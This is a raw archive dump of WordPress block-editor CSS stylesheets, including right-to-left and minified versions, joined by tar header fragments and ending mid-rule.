.block-editor-block-list__layout.is-root-container>.wp-block[data-align=full]{margin-left:-8px;margin-right:-8px}html :where(.wp-block){margin-bottom:28px;margin-top:28px;max-width:840px}html :where(.wp-block)[data-align=wide]{max-width:1100px}html :where(.wp-block)[data-align=full]{max-width:none}html :where(.wp-block)[data-align=left],html :where(.wp-block)[data-align=right]{height:0;width:100%}html :where(.wp-block)[data-align=left]:before,html :where(.wp-block)[data-align=right]:before{content:none}html :where(.wp-block)[data-align=left]>*{ /*!rtl:begin:ignore*/float:left;margin-right:2em /*!rtl:end:ignore*/}html :where(.wp-block)[data-align=right]>*{ /*!rtl:begin:ignore*/float:right;margin-left:2em /*!rtl:end:ignore*/}html :where(.wp-block)[data-align=full],html :where(.wp-block)[data-align=wide]{clear:both}.wp-block-group>[data-align=full]{margin-left:auto;margin-right:auto}.wp-block-group.has-background>[data-align=full]{margin-left:-30px;width:calc(100% + 60px)}[data-align=full] .wp-block-group>.wp-block{padding-left:14px;padding-right:14px}@media (min-width:600px){[data-align=full] .wp-block-group>.wp-block{padding-left:0;padding-right:0}}[data-align=full] .wp-block-group>[data-align=full]{left:0;max-width:none;padding-left:0;padding-right:0;width:100%}[data-align=full] .wp-block-group.has-background>[data-align=full]{width:calc(100% + 60px)}css/dist/editor/style-rtl.css000064400000066253151202620300012241 0ustar00@charset "UTF-8"; /** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } .editor-autocompleters__user .editor-autocompleters__no-avatar::before { /* stylelint-disable */ font: normal 20px/1 dashicons; /* stylelint-enable */ content: ""; margin-left: 5px; vertical-align: middle; } .editor-autocompleters__user .editor-autocompleters__user-avatar { margin-left: 8px; flex-grow: 0; flex-shrink: 0; max-width: none; width: 24px; height: 24px; } .editor-autocompleters__user .editor-autocompleters__user-name { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; max-width: 200px; flex-shrink: 0; flex-grow: 1; } .editor-autocompleters__user .editor-autocompleters__user-slug { margin-right: 8px; color: #757575; white-space: nowrap; text-overflow: ellipsis; overflow: none; max-width: 100px; flex-grow: 0; flex-shrink: 0; } .editor-autocompleters__user:hover .editor-autocompleters__user-slug { color: #007cba; color: var(--wp-admin-theme-color); } .document-outline { margin: 20px 0; } .document-outline ul { margin: 0; padding: 0; } .document-outline__item { display: flex; margin: 4px 0; } .document-outline__item a { text-decoration: none; } .document-outline__item .document-outline__emdash::before { color: #ddd; margin-left: 4px; } .document-outline__item.is-h2 .document-outline__emdash::before { content: "—"; } .document-outline__item.is-h3 .document-outline__emdash::before { content: "——"; } .document-outline__item.is-h4 .document-outline__emdash::before { content: "———"; } .document-outline__item.is-h5 .document-outline__emdash::before { content: "————"; } .document-outline__item.is-h6 .document-outline__emdash::before { content: "—————"; } .document-outline__button { cursor: pointer; background: none; border: none; display: flex; align-items: flex-start; margin: 0 -1px 0 0; padding: 2px 1px 2px 5px; color: #1e1e1e; text-align: right; border-radius: 2px; } .document-outline__button:disabled { cursor: default; } .document-outline__button:focus { box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline: 2px solid transparent; } .document-outline__level { background: #ddd; color: #1e1e1e; border-radius: 3px; font-size: 13px; padding: 1px 6px; margin-left: 4px; } .is-invalid .document-outline__level { background: #f0b849; } .document-outline__item-content { padding: 1px 0; } .components-editor-notices__dismissible { position: -webkit-sticky; position: sticky; top: 0; left: 0; color: #1e1e1e; } .components-editor-notices__pinned { position: relative; right: 0; top: 0; left: 0; color: #1e1e1e; } .components-editor-notices__dismissible .components-notice, .components-editor-notices__pinned .components-notice { box-sizing: border-box; margin: 0; border-bottom: 1px solid rgba(0, 0, 0, 0.2); padding: 0 12px; min-height: 60px; } .components-editor-notices__dismissible .components-notice .components-notice__dismiss, .components-editor-notices__pinned .components-notice .components-notice__dismiss { margin-top: 12px; } .components-editor-notices__snackbar { width: 100%; } @media (min-width: 782px) { .components-editor-notices__snackbar { width: -webkit-fit-content; width: -moz-fit-content; width: fit-content; } } .entities-saved-states__panel { box-sizing: border-box; background: #fff; position: fixed; z-index: 100001; top: 46px; bottom: 0; left: 0; right: 0; overflow: auto; box-sizing: border-box; } .entities-saved-states__panel *, .entities-saved-states__panel *::before, .entities-saved-states__panel *::after { box-sizing: inherit; } .entities-saved-states__panel .entities-saved-states__find-entity { display: none; } .entities-saved-states__panel .entities-saved-states__find-entity-small { display: block; } @media (min-width: 782px) { .entities-saved-states__panel { top: 32px; right: auto; width: 280px; border-right: 1px solid #ddd; } body.is-fullscreen-mode .entities-saved-states__panel { top: 0; } .entities-saved-states__panel .entities-saved-states__find-entity { display: block; } .entities-saved-states__panel .entities-saved-states__find-entity-small { display: none; } } .entities-saved-states__panel .entities-saved-states__panel-header { background: #fff; padding-right: 8px; padding-left: 8px; height: 61px; border-bottom: 1px solid #ddd; display: flex; align-items: center; align-content: space-between; } .entities-saved-states__panel .entities-saved-states__panel-header .editor-entities-saved-states__save-button { margin: auto; } .entities-saved-states__panel .entities-saved-states__panel-header .components-button.has-icon { position: absolute; left: 8px; } .entities-saved-states__panel .entities-saved-states__text-prompt { padding: 16px; padding-bottom: 4px; } .editor-error-boundary { margin: auto; max-width: 780px; padding: 20px; margin-top: 60px; box-shadow: 0 3px 30px rgba(0, 0, 0, 0.2); } .editor-page-attributes__template { margin-bottom: 10px; } .editor-page-attributes__template label, .editor-page-attributes__template select { width: 100%; } .editor-page-attributes__order { width: 100%; } .editor-page-attributes__order .components-base-control__field { display: flex; justify-content: space-between; align-items: center; } .editor-page-attributes__order input { width: 66px; } .editor-post-excerpt__textarea { width: 100%; margin-bottom: 10px; } .editor-post-featured-image { padding: 0; } .editor-post-featured-image__container { margin-bottom: 1em; position: relative; } .editor-post-featured-image .components-spinner { position: absolute; top: 50%; right: 50%; margin-top: -9px; margin-right: -9px; } .editor-post-featured-image .components-button + .components-button { display: block; margin-top: 1em; } .editor-post-featured-image .components-responsive-wrapper__content { max-width: 100%; width: auto; } .editor-post-featured-image__toggle, .editor-post-featured-image__preview { display: block; width: 100%; padding: 0; transition: all 0.1s ease-out; box-shadow: 0 0 0 0 #007cba; box-shadow: 0 0 0 0 var(--wp-admin-theme-color); } @media (prefers-reduced-motion: reduce) { .editor-post-featured-image__toggle, .editor-post-featured-image__preview { transition-duration: 0s; } } .editor-post-featured-image__preview { height: auto; } .editor-post-featured-image__preview:not(:disabled):not([aria-disabled=true]):focus { box-shadow: 0 0 0 4px #007cba; box-shadow: 0 0 0 4px var(--wp-admin-theme-color); } .editor-post-featured-image__toggle { border-radius: 2px; background-color: #f0f0f0; min-height: 90px; line-height: 20px; padding: 8px 0; text-align: center; } .editor-post-featured-image__toggle:hover { background: #ddd; color: #1e1e1e; } .editor-post-format { flex-direction: column; align-items: stretch; width: 100%; } .editor-post-format__content { display: inline-flex; justify-content: space-between; align-items: center; width: 100%; } .editor-post-format__suggestion { text-align: left; font-size: 13px; } .editor-post-last-revision__title { width: 100%; font-weight: 600; } .editor-post-last-revision__title .dashicon { margin-left: 5px; } .components-button.editor-post-last-revision__title { height: 100%; } .components-button.editor-post-last-revision__title:hover, .components-button.editor-post-last-revision__title:active { background: #f0f0f0; } .components-button.editor-post-last-revision__title:focus { box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); border-radius: 0; } .editor-post-locked-modal { height: auto; padding-left: 10px; padding-right: 10px; padding-top: 10px; max-width: 480px; } .editor-post-locked-modal .components-modal__header { height: 36px; } .editor-post-locked-modal .components-modal__content { height: auto; } .editor-post-locked-modal__buttons { margin-top: 10px; } .editor-post-locked-modal__buttons .components-button { margin-left: 5px; } .editor-post-locked-modal__avatar { float: right; margin: 5px; margin-left: 15px; } .editor-post-publish-button__button.has-changes-dot::before { background: currentcolor; border-radius: 4px; content: ""; height: 8px; margin: auto -3px auto 5px; width: 8px; } .editor-post-publish-panel { background: #fff; } .editor-post-publish-panel__content { min-height: calc(100% - 144px); } .editor-post-publish-panel__content .components-spinner { display: block; margin: 100px auto 0; } .editor-post-publish-panel__header { background: #fff; padding-right: 16px; padding-left: 16px; height: 61px; border-bottom: 1px solid #ddd; display: flex; align-items: center; align-content: space-between; } .editor-post-publish-panel__header .components-button { width: 100%; justify-content: center; } .editor-post-publish-panel__header .has-icon { margin-right: auto; width: auto; } .editor-post-publish-panel__header-publish-button, .editor-post-publish-panel__header-cancel-button { flex-grow: 1; } @media (min-width: 480px) { .editor-post-publish-panel__header-publish-button, .editor-post-publish-panel__header-cancel-button { max-width: 160px; } } .editor-post-publish-panel__header-publish-button { padding-left: 4px; } .editor-post-publish-panel__header-cancel-button { padding-right: 4px; } .editor-post-publish-panel__header-published { flex-grow: 1; } .editor-post-publish-panel__footer { padding: 16px; } .components-button.editor-post-publish-panel__toggle.is-primary { display: inline-flex; align-items: center; } .components-button.editor-post-publish-panel__toggle.is-primary.is-busy .dashicon { display: none; } .components-button.editor-post-publish-panel__toggle.is-primary .dashicon { margin-left: -4px; } .editor-post-publish-panel__link { font-weight: 400; padding-right: 4px; } .editor-post-publish-panel__prepublish { padding: 16px; } .editor-post-publish-panel__prepublish strong { color: #1e1e1e; } .editor-post-publish-panel__prepublish .components-panel__body { background: #fff; margin-right: -16px; margin-left: -16px; } .editor-post-publish-panel__prepublish .editor-post-visibility__dialog-legend { display: none; } .post-publish-panel__postpublish .components-panel__body { border-bottom: 1px solid #e0e0e0; border-top: none; } .post-publish-panel__postpublish-buttons { display: flex; align-content: space-between; flex-wrap: wrap; margin: -5px; } .post-publish-panel__postpublish-buttons > * { flex-grow: 1; margin: 5px; } .post-publish-panel__postpublish-buttons .components-button { height: auto; justify-content: center; padding: 3px 10px 4px; line-height: 1.6; text-align: center; white-space: normal; } .post-publish-panel__postpublish-buttons .components-clipboard-button { width: 100%; } .post-publish-panel__postpublish-post-address { margin-bottom: 16px; } .post-publish-panel__postpublish-post-address input[readonly] { padding: 10px; background: #ddd; overflow: hidden; text-overflow: ellipsis; } .post-publish-panel__postpublish-header { font-weight: 500; } .post-publish-panel__postpublish-subheader { margin: 0 0 8px; } .post-publish-panel__tip { color: #f0b849; } .editor-post-saved-state { display: flex; align-items: center; width: 28px; padding: 12px 4px; color: #757575; overflow: hidden; white-space: nowrap; } .editor-post-saved-state svg { display: inline-block; flex: 0 0 auto; fill: currentColor; margin-left: 8px; } @media (min-width: 600px) { .editor-post-saved-state { width: auto; padding: 8px 12px; text-indent: inherit; } .editor-post-saved-state svg { margin-left: 4px; } } .editor-post-taxonomies__hierarchical-terms-list { max-height: 14em; overflow: auto; margin-right: -6px; padding-right: 6px; margin-top: -6px; padding-top: 6px; } .editor-post-taxonomies__hierarchical-terms-choice { margin-bottom: 8px; } .editor-post-taxonomies__hierarchical-terms-subchoices { margin-top: 8px; margin-right: 16px; } .components-button.editor-post-taxonomies__hierarchical-terms-submit, .components-button.editor-post-taxonomies__hierarchical-terms-add { margin-top: 12px; } .editor-post-taxonomies__hierarchical-terms-label { display: inline-block; margin-top: 12px; } .editor-post-taxonomies__hierarchical-terms-input { margin-top: 8px; width: 100%; } .editor-post-taxonomies__hierarchical-terms-filter { margin-bottom: 8px; width: 100%; } .edit-post-text-editor__body textarea.editor-post-text-editor { border: 1px solid #949494; border-radius: 0; display: block; margin: 0; width: 100%; box-shadow: none; resize: none; overflow: hidden; font-family: Menlo, Consolas, monaco, monospace; line-height: 2.4; min-height: 200px; transition: border 0.1s ease-out, box-shadow 0.1s linear; padding: 16px; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px !important; } @media (prefers-reduced-motion: reduce) { .edit-post-text-editor__body textarea.editor-post-text-editor { transition-duration: 0s; } } @media (min-width: 600px) { .edit-post-text-editor__body textarea.editor-post-text-editor { padding: 24px; } } @media (min-width: 600px) { .edit-post-text-editor__body textarea.editor-post-text-editor { font-size: 15px !important; } } .edit-post-text-editor__body textarea.editor-post-text-editor:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); position: relative; } .edit-post-text-editor__body textarea.editor-post-text-editor::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .edit-post-text-editor__body textarea.editor-post-text-editor::-moz-placeholder { color: rgba(30, 30, 30, 0.62); opacity: 1; } .edit-post-text-editor__body textarea.editor-post-text-editor:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .edit-post-post-visibility__dialog, .editor-post-visibility__dialog-fieldset { padding: 4px; padding-top: 0; } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-legend, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-legend { font-weight: 600; margin-bottom: 1em; margin-top: 0.5em; padding: 0; } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio], .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio] { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; border: 1px solid #1e1e1e; margin-left: 12px; transition: none; border-radius: 50%; width: 24px; height: 24px; margin-top: 2px; } @media (prefers-reduced-motion: reduce) { .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio], .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio] { transition-duration: 0s; } } @media (min-width: 600px) { .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio], .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio] { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:focus, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]::-webkit-input-placeholder, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]::-moz-placeholder, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:-ms-input-placeholder, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]::-webkit-input-placeholder, .is-dark-theme .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]::-moz-placeholder, .is-dark-theme .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:-ms-input-placeholder, .is-dark-theme .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } @media (min-width: 600px) { .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio], .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio] { height: 20px; width: 20px; } } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:checked::before, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:checked::before { width: 8px; height: 8px; transform: translate(-7px, 7px); margin: 0; background-color: #fff; border: 4px solid #fff; } @media (min-width: 600px) { .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:checked::before, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:checked::before { transform: translate(-5px, 5px); } } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:focus, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:focus { box-shadow: 0 0 0 2px #fff, 0 0 0 4px #007cba; box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:checked, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:checked { background: #007cba; background: var(--wp-admin-theme-color); border-color: #007cba; border-color: var(--wp-admin-theme-color); } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-label, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-label { font-weight: 600; } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-info, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-info { margin-top: 0; margin-right: 32px; } .edit-post-post-visibility__dialog .editor-post-visibility__choice:last-child .editor-post-visibility__dialog-info, .editor-post-visibility__dialog-fieldset .editor-post-visibility__choice:last-child .editor-post-visibility__dialog-info { margin-bottom: 0; } .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text] { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; margin-right: 36px; margin-top: 8px; } @media (prefers-reduced-motion: reduce) { .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text] { transition-duration: 0s; } } @media (min-width: 600px) { .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text] { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .editor-post-title { position: relative; } .editor-post-title .editor-post-title__input { display: block; width: 100%; margin: 0; box-shadow: none; background: transparent; transition: border 0.1s ease-out, box-shadow 0.1s linear; padding: 19px 0; word-break: keep-all; font-family: inherit; color: inherit; border: 1px solid transparent; border-right-width: 0; border-left-width: 0; border-radius: 0; outline: 1px solid transparent; font-size: 2.44em; font-weight: 800; line-height: 1.4; } @media (prefers-reduced-motion: reduce) { .editor-post-title .editor-post-title__input { transition-duration: 0s; } } @media (min-width: 600px) { .editor-post-title .editor-post-title__input { border-width: 1px; } } .editor-post-title .editor-post-title__input::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .editor-post-title .editor-post-title__input::-moz-placeholder { color: rgba(30, 30, 30, 0.62); opacity: 1; } .editor-post-title .editor-post-title__input:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .editor-post-title .editor-post-title__input::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .editor-post-title .editor-post-title__input::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .editor-post-title .editor-post-title__input:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .editor-post-title .editor-post-title__input:focus { border: 1px solid transparent; outline: 1px solid transparent; box-shadow: none; } .editor-post-title.is-focus-mode .editor-post-title__input { opacity: 0.5; transition: opacity 0.1s linear; } @media (prefers-reduced-motion: reduce) { .editor-post-title.is-focus-mode .editor-post-title__input { transition-duration: 0s; } } .editor-post-title.is-focus-mode .editor-post-title__input:focus { opacity: 1; } .editor-post-trash.components-button { margin-top: 4px; } .table-of-contents__popover.components-popover .components-popover__content { min-width: 380px; } .components-popover.table-of-contents__popover { z-index: 99998; } .table-of-contents__popover .components-popover__content > div { padding: 16px; } @media (min-width: 600px) { .table-of-contents__popover .components-popover__content { max-height: calc(100vh - 120px); overflow-y: auto; } } .table-of-contents__popover hr { margin: 10px -16px 0; } .table-of-contents__wrapper:focus::before { content: ""; display: block; position: absolute; top: 0; left: 0; bottom: 0; right: 0; box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .table-of-contents__counts { display: flex; flex-wrap: wrap; margin: 0; margin-top: -8px; } .table-of-contents__count { flex-basis: 33%; display: flex; flex-direction: column; font-size: 13px; color: #1e1e1e; padding-left: 8px; margin-bottom: 0; margin-top: 8px; } .table-of-contents__count:nth-child(4n) { padding-left: 0; } .table-of-contents__number, .table-of-contents__popover .word-count { font-size: 21px; font-weight: 400; line-height: 30px; color: #1e1e1e; } .table-of-contents__title { display: block; margin-top: 20px; font-size: 15px; font-weight: 600; } .editor-template-validation-notice { display: flex; justify-content: space-between; align-items: center; } .editor-template-validation-notice .components-button { margin-right: 5px; }css/dist/editor/style-rtl.min.css000064400000054144151202620300013017 0ustar00@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.editor-autocompleters__user .editor-autocompleters__no-avatar:before{font:normal 20px/1 dashicons;content:"";margin-left:5px;vertical-align:middle}.editor-autocompleters__user .editor-autocompleters__user-avatar{margin-left:8px;flex-grow:0;flex-shrink:0;max-width:none;width:24px;height:24px}.editor-autocompleters__user .editor-autocompleters__user-name{white-space:nowrap;text-overflow:ellipsis;overflow:hidden;max-width:200px;flex-shrink:0;flex-grow:1}.editor-autocompleters__user .editor-autocompleters__user-slug{margin-right:8px;color:#757575;white-space:nowrap;text-overflow:ellipsis;overflow:none;max-width:100px;flex-grow:0;flex-shrink:0}.editor-autocompleters__user:hover .editor-autocompleters__user-slug{color:#007cba;color:var(--wp-admin-theme-color)}.document-outline{margin:20px 0}.document-outline ul{margin:0;padding:0}.document-outline__item{display:flex;margin:4px 0}.document-outline__item a{text-decoration:none}.document-outline__item .document-outline__emdash:before{color:#ddd;margin-left:4px}.document-outline__item.is-h2 .document-outline__emdash:before{content:"—"}.document-outline__item.is-h3 .document-outline__emdash:before{content:"——"}.document-outline__item.is-h4 .document-outline__emdash:before{content:"———"}.document-outline__item.is-h5 .document-outline__emdash:before{content:"————"}.document-outline__item.is-h6 .document-outline__emdash:before{content:"—————"}.document-outline__button{cursor:pointer;background:none;border:none;display:flex;align-items:flex-start;margin:0 -1px 0 0;padding:2px 1px 2px 5px;color:#1e1e1e;text-align:right;border-radius:2px}.document-outline__button:disabled{cursor:default}.document-outline__button:focus{box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.document-outline__level{background:#ddd;color:#1e1e1e;border-radius:3px;font-size:13px;padding:1px 6px;margin-left:4px}.is-invalid .document-outline__level{background:#f0b849}.document-outline__item-content{padding:1px 0}.components-editor-notices__dismissible{position:-webkit-sticky;position:sticky;top:0;left:0;color:#1e1e1e}.components-editor-notices__pinned{position:relative;right:0;top:0;left:0;color:#1e1e1e}.components-editor-notices__dismissible .components-notice,.components-editor-notices__pinned .components-notice{box-sizing:border-box;margin:0;border-bottom:1px solid rgba(0,0,0,.2);padding:0 12px;min-height:60px}.components-editor-notices__dismissible .components-notice .components-notice__dismiss,.components-editor-notices__pinned .components-notice .components-notice__dismiss{margin-top:12px}.components-editor-notices__snackbar{width:100%}@media (min-width:782px){.components-editor-notices__snackbar{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}}.entities-saved-states__panel{background:#fff;position:fixed;z-index:100001;top:46px;bottom:0;left:0;right:0;overflow:auto;box-sizing:border-box}.entities-saved-states__panel *,.entities-saved-states__panel :after,.entities-saved-states__panel :before{box-sizing:inherit}.entities-saved-states__panel .entities-saved-states__find-entity{display:none}.entities-saved-states__panel .entities-saved-states__find-entity-small{display:block}@media (min-width:782px){.entities-saved-states__panel{top:32px;right:auto;width:280px;border-right:1px solid #ddd}body.is-fullscreen-mode .entities-saved-states__panel{top:0}.entities-saved-states__panel .entities-saved-states__find-entity{display:block}.entities-saved-states__panel .entities-saved-states__find-entity-small{display:none}}.entities-saved-states__panel .entities-saved-states__panel-header{background:#fff;padding-right:8px;padding-left:8px;height:61px;border-bottom:1px solid #ddd;display:flex;align-items:center;align-content:space-between}.entities-saved-states__panel .entities-saved-states__panel-header .editor-entities-saved-states__save-button{margin:auto}.entities-saved-states__panel .entities-saved-states__panel-header .components-button.has-icon{position:absolute;left:8px}.entities-saved-states__panel .entities-saved-states__text-prompt{padding:16px 16px 4px}.editor-error-boundary{max-width:780px;padding:20px;margin:60px auto auto;box-shadow:0 3px 30px rgba(0,0,0,.2)}.editor-page-attributes__template{margin-bottom:10px}.editor-page-attributes__order,.editor-page-attributes__template label,.editor-page-attributes__template select{width:100%}.editor-page-attributes__order .components-base-control__field{display:flex;justify-content:space-between;align-items:center}.editor-page-attributes__order input{width:66px}.editor-post-excerpt__textarea{width:100%;margin-bottom:10px}.editor-post-featured-image{padding:0}.editor-post-featured-image__container{margin-bottom:1em;position:relative}.editor-post-featured-image .components-spinner{position:absolute;top:50%;right:50%;margin-top:-9px;margin-right:-9px}.editor-post-featured-image .components-button+.components-button{display:block;margin-top:1em}.editor-post-featured-image .components-responsive-wrapper__content{max-width:100%;width:auto}.editor-post-featured-image__preview,.editor-post-featured-image__toggle{display:block;width:100%;padding:0;transition:all .1s ease-out;box-shadow:0 0 0 0 #007cba;box-shadow:0 0 0 0 var(--wp-admin-theme-color)}@media (prefers-reduced-motion:reduce){.editor-post-featured-image__preview,.editor-post-featured-image__toggle{transition-duration:0s}}.editor-post-featured-image__preview{height:auto}.editor-post-featured-image__preview:not(:disabled):not([aria-disabled=true]):focus{box-shadow:0 0 0 4px #007cba;box-shadow:0 0 0 4px var(--wp-admin-theme-color)}.editor-post-featured-image__toggle{border-radius:2px;background-color:#f0f0f0;min-height:90px;line-height:20px;padding:8px 0;text-align:center}.editor-post-featured-image__toggle:hover{background:#ddd;color:#1e1e1e}.editor-post-format{flex-direction:column;align-items:stretch;width:100%}.editor-post-format__content{display:inline-flex;justify-content:space-between;align-items:center;width:100%}.editor-post-format__suggestion{text-align:left;font-size:13px}.editor-post-last-revision__title{width:100%;font-weight:600}.editor-post-last-revision__title .dashicon{margin-left:5px}.components-button.editor-post-last-revision__title{height:100%}.components-button.editor-post-last-revision__title:active,.components-button.editor-post-last-revision__title:hover{background:#f0f0f0}.components-button.editor-post-last-revision__title:focus{box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) 